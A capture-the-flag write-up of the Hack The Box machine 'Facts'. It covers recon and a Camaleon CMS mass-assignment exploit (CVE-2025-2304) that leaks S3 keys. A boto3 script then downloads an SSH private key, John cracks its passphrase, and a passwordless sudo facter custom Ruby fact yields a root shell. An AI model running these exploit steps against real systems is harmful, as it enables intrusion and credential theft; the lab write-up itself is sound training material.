Facts
Facts is an easy Linux box chaining a Camaleon CMS mass-assignment flaw with a misconfigured MinIO/S3 backend.
- platform
- Hack The Box
- target_os
- Linux
- difficulty
- Easy
- season
- Season 10
- logged
- June 18, 2026
Summary of Exploitation
Facts is an easy Linux box chaining a Camaleon CMS mass-assignment flaw with a misconfigured MinIO/S3 backend. A self-registered low-privilege user escalates to CMS admin, the admin context leaks S3 credentials, and the S3 bucket stores a user’s SSH key. The chain proceeds as follows:
- Web enumeration identifies Camaleon CMS 2.9.0 with open registration.
- CVE-2025-2304 (mass assignment) lets a registered
clientpromote themselves toadmin, which exposes S3 credentials. - MinIO/S3 enumeration with the leaked keys downloads a user’s
.ssh/id_ed25519private key. - Passphrase cracking (ssh2john + John) breaks the key passphrase, granting a user shell.
factersudo abuse — a custom Ruby fact executed by a passwordlesssudo facterreturns a root shell.
Recon Phase
An initial full-port Nmap scan was run against the target:
sudo nmap -p- --min-rate 5000 -T4 <target-ip> -oN ports.nmap
sudo nmap -sV -sC -p 22,80,54321 <target-ip>
Results:
| Port | State | Service | Version / Note |
|---|---|---|---|
| 22 | open | ssh | OpenSSH 9.9p1 (Ubuntu) |
| 80 | open | http | nginx 1.26.3 — Camaleon CMS |
| 54321 | open | http | MinIO S3-compatible server |
The domain was added to /etc/hosts:
echo "<target-ip> facts.htb" | sudo tee -a /etc/hosts
Key takeaway: an internet-facing object store (MinIO on 54321) sitting beside a CMS is a strong hint that the CMS holds credentials into the bucket.
Web Enumeration
feroxbuster -u http://facts.htb -w /usr/share/wordlists/seclists/Discovery/Web-Content/common.txt -t 40
curl -s http://facts.htb/robots.txt
curl -s http://facts.htb/sitemap.xml
Key findings:
- CMS identified: Camaleon CMS 2.9.0
- Admin panel:
http://facts.htb/admin/login - Open registration:
http://facts.htb/admin/register
Exploitation Phase
Step 1 — Register an account
Registration is open but captcha-protected, so the account is created in a browser at http://facts.htb/admin/register. The new account lands with the client role.
Step 2 — CVE-2025-2304: mass-assignment privilege escalation → S3 credentials
Camaleon’s updated_ajax endpoint calls permit!, allowing every parameter — including role — to be mass-assigned. A registered client can therefore promote themselves to admin, and the admin context exposes the S3 backend credentials:
git clone https://github.com/Alien0ne/CVE-2025-2304
cd CVE-2025-2304
python3 exploit.py -u http://facts.htb -U <username> -P <password> -e
Output:
[+] Login confirmed
Current User Role: client
[+] Updated User Role: admin
[+] Extracting S3 Credentials
s3 access key: AKIAA5CA83CCFE35CD69
s3 secret key: zOCRxURBa6wha6rksxj6kCmwvdAQNYX6NPw2o2+n
s3 endpoint: http://localhost:54321
Step 3 — MinIO/S3 enumeration → SSH private key
Port 54321 is a MinIO S3-compatible server. The leaked keys list and pull the internal bucket, which stores a user’s home directory — including their SSH key:
import boto3
from botocore.client import Config
s3 = boto3.client(
's3',
endpoint_url='http://facts.htb:54321',
aws_access_key_id='AKIAA5CA83CCFE35CD69',
aws_secret_access_key='zOCRxURBa6wha6rksxj6kCmwvdAQNYX6NPw2o2+n',
config=Config(signature_version='s3v4'),
region_name='us-east-1'
)
paginator = s3.get_paginator('list_objects_v2')
for page in paginator.paginate(Bucket='internal'):
for o in page.get('Contents', []):
if 'info-etags' not in o['Key']:
print(o['Key'])
s3.download_file('internal', o['Key'], '/tmp/' + o['Key'].replace('/', '_'))
Key files retrieved:
.ssh/authorized_keys
.ssh/id_ed25519 ← SSH private key
.profile
.bashrc
Step 4 — Crack the key passphrase → user shell
The private key is passphrase-protected; ssh2john + John recover it from rockyou:
chmod 600 /tmp/.ssh_id_ed25519
ssh2john /tmp/.ssh_id_ed25519 > ssh.hash
john ssh.hash --wordlist=/usr/share/wordlists/rockyou.txt
Cracked passphrase: dragonballz
ssh -i /tmp/.ssh_id_ed25519 trivia@facts.htb
# passphrase: dragonballz
User flag:
cat /home/william/user.txt
Step 5 — facter sudo abuse → root
sudo -l shows a passwordless facter:
sudo -l
(ALL) NOPASSWD: /usr/bin/facter
Facter loads custom facts as Ruby scripts from a directory passed via --custom-dir. Because it runs as root with no password, a custom fact that execs a shell yields root:
mkdir -p /tmp/facts
cat > /tmp/facts/pwn.rb << 'EOF'
Facter.add(:pwn) do
setcode do
exec("/bin/bash -p")
end
end
EOF
sudo facter --custom-dir=/tmp/facts pwn
Root Flag Successfully Obtained
whoami # root
cat /root/root.txt
Key Takeaways
- Mass assignment is privilege escalation. Calling
permit!(or an unfiltered allowlist) lets a user set fields likerolethey were never meant to touch — here turning aclientinto anadmin. - App credentials open the object store. The CMS held the S3 keys; once admin, the MinIO bucket was wide open and contained a user’s full home directory.
- Encrypted SSH keys still fall to weak passphrases. A
rockyouhit (dragonballz) made the recoveredid_ed25519usable. - Passwordless
facteris RCE. Custom Ruby facts run arbitrary code; anyNOPASSWDinterpreter-style binary deserves a GTFOBins check.
Full Attack Chain
register client account
└─ CVE-2025-2304 mass assignment ──> admin ──> S3 access/secret keys
└─ MinIO bucket (internal) ──> .ssh/id_ed25519
└─ ssh2john + John ──> passphrase ──> SSH user shell [USER]
└─ sudo facter custom fact ──> root [ROOT]